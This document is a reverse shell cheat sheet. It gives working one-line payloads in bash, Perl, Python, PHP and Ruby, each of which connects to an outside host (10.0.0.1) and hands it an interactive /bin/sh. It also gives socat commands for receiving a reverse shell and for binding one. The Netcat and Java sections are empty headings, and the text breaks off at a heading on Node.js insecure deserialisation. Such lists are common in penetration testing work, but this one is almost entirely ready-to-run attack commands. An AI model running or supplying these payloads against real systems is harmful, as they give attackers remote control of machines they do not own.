Reverse Shells
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'There’s also an alternative PERL revere shell here.
Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
Java
UPGRADING SHELLS
Socat Reverse shell
It can send back a reverse shell to a listening attacker to open a remote network access.
Run
socat file:`tty`,raw,echo=0 tcp-listen:12345on the attacker box to receive the shell.
Bind shell
It can bind a shell to a local port to allow remote network access.
Run
socat FILE:`tty`,raw,echo=0 TCP:target.com:12345on the attacker box to connect to the shell.
Node.js Reverse Shell using "node-serialize" (Insecure Deserialisation)
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